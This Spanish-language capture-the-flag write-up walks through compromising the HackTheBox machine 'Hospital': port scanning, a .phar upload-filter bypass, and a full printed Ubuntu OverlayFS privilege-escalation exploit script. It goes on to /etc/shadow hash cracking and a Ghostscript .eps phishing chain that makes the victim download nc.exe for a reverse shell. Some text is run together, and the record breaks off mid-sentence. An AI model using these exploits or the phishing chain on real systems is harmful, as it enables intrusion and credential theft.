Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R para incluir la ruta de retorno:
ping-c110.10.11.241-R
El valor de TTL (Time To Live) igual a 127 puede ser indicativo de que el sistema operativo de la máquina objetivo es Windows. El TTL es un valor en el campo de los paquetes IP que indica la duración que un paquete puede estar en una red antes de ser descartado. Windows establece por defecto el valor de TTL de sus paquetes IP en 128, que al pasar por un salto en la red se decrementa a 127.
Escaneo de puertos con Nmap
Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mínima de paquetes y -vvv para un nivel de verbosidad alto. Además, utilizamos -n para desactivar la resolución de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable para luego utilizar nuestra función extractPorts:
Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:
Hacemos un análisis de nuestro targeted. En mi caso utilizo ChatGPT para que no se me pase nada, subo un resumen de lo que me pareció interesante:
LDAPenlospuertos389y636 (SSL): La presencia de Active Directory se confirma por LDAP. Los ataques como el dumping de usuarios, grupos y otros objetos de AD son un objetivo principal. Además, la versión SSL podría ser vulnerable a ataques como Heartbleed dependiendo de la versión de OpenSSL.MicrosoftRPC,SMB,yotrosserviciosdeWindows:Abrenunabanicodeposiblesvectoresdeataquecomoelpasodehashes,exploitsespecíficoscontraversionesvulnerables,yenumeracióndeinformacióndeldominio.HTTP(S) en los puertos 443 y 8080: El puerto 443 está corriendo Apache en Windows con una versión obsoleta de OpenSSL, lo cual podría ser explotable. El puerto 8080 también está corriendo Apache, pero en Ubuntu, y presenta una página de login, lo cual indica un posible vector de ataque a través de inyección SQL, fuerza bruta, o vulnerabilidades web específicas.TerminalServicesenelpuerto3389:LapresenciadeserviciosdeTerminalindicalaposibilidaddeaccesoremoto.Podríanexplorarsetécnicascomoelataquedecredenciales,RDPhijackingovulnerabilidadesespecíficasdeRDP.InformacióndeconfiguraciónycertificadosSSL:Losdetallesextraídossobrelaconfiguracióndelosservicios,comolosnombrescomunesylasfechasdevalidezdeloscertificadosSSL,puedenrevelarinformaciónsobrelainfraestructurainterna,políticasdeseguridadypotencialmenteindicarvectoresdeataqueatravésdeSSL/TLS..NETMessageFramingenelpuerto9389:Esteserviciopodríaserinteresanteexplorarparavulnerabilidadesespecíficasde.NETomalasconfiguraciones.
Modificando /etc/hosts
Para añadir la entrada "10.10.11.241 hospital.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:
Este comando añade la dirección IP 10.10.11.241 asociada al nombre de host dc.hospital.htb al archivo /etc/hosts de tu sistema.
Exploración de puerto 8080
En el proceso de exploración y análisis de seguridad de nuestro objetivo, tras efectuar un escaneo detallado con nmap, se identificó una aplicación web en ejecución en el puerto 8080. El detalle crucial que llamó nuestra atención fue la mención de "resource login.php" en los resultados del escaneo, lo que sugiere una posible superficie de ataque a través de esta página web.
Procedí a crear mi propio usuario para profundizar en la funcionalidad de la página. Una vez dentro, descubrí una funcionalidad particularmente interesante: un uploader de imágenes. Este descubrimiento abre una nueva vía de investigación, ya que los uploaders de archivos son notorios por ser puntos de entrada para varios vectores de ataque si no están adecuadamente asegurados.
Explotación
El próximo paso en mi investigación será intentar burlar los filtros implementados en el uploader de imágenes. El objetivo será intentar subir un archivo PHP, lo cual, si tiene éxito, podría permitirme ejecutar código arbitrario en el servidor.
Primero creamos nuestra imagen para luego subirla con el uploader al sitio, usamos Repeater de Burpsuite para modificar el contenido de la imagen.
touchupload.png; echotest>upload.png
Despues de muchas pruebas me doy cuenta que la extension .phar permite ejecución de código php. Por lo que modifico el formato de uploader.jpg a uploader.phar. De esa forma podemos subir nuestro uploader.php, les dejo el código fuente de este uploader. (Una joyita antigua).
#!/bin/bash# CVE-2023-2640 CVE-2023-3262: GameOver(lay) Ubuntu Privilege Escalation# by g1vi https://github.com/g1vi# October 2023echo"[+] You should be root now"echo"[+] Type 'exit' to finish and leave the house cleaned"unshare-rmsh-c"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;"&&u/python3-c'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash2 && chmod 4755 /var/tmp/bash2 && /var/tmp/bash2 -p && rm -rf l m u w /var/tmp/bash2")'
Por alguna extraña razon, pero creo que es porque varios usuarios estabamos tratando de pwnear la máquina, habian varios exploits en algunos directorios. Cuando intenté ejecutar el CVE me daba error ya que intentaba crear la carpeta /var/tmp/bash y decía que estaba "busy". Así que modifiqué el exploit cambiando el nombre de la carpeta a otro y funcionó el exploit:
Hacemos un cat /etc/shadow/ Para encontrar el hash de drwilliams y luego crackeamos el hash con john.
En la etapa de enumeración encontramos un webmail en dc.hospital.htb, intentamos ingresar las credenciales de drwilliams en el webmail, ingresando con éxito.
Entonces empiezo a ver los correos y en el correo de drbrown comenan el uso de archivos *.eps y que son visualizados con GhostScript. De inmediato busco en Google sobre alguna vulnerabilidad y me encuentro con CVE-2023-36664-Ghostscript-command-injection. Vale la pena intentarlo así que estudio el exploit.
Lo primero que nos gustaría hacer es que cuando la victima abra el archivo *.eps se descargue en su máquina nc.exe desde nuestro servidor, para luego enviarle otro *.eps con un reverse shell.
A la vez dejamos montado todo (nuestro servidor compartiendo el archivo nc.exe).
Y con éxito podemos ver que la maquina a descargado nuestro nc.exe.
Decido generar otro payload pero ahora utilizando el archivo nc.exe que descargamos y conectandonos a nuestra máquina. Nuevamente debo enviarle un correo a la victima con nuestro nc a la escucha en el puerto 6666.
Pero al parecer la shell no tiene suficiene fuerza, así que intentaré de otra forma con metasploit. Primero genero mi expl.exe, luego genero otro curl.eps pero que descargue el archivo expl.exe. Para luego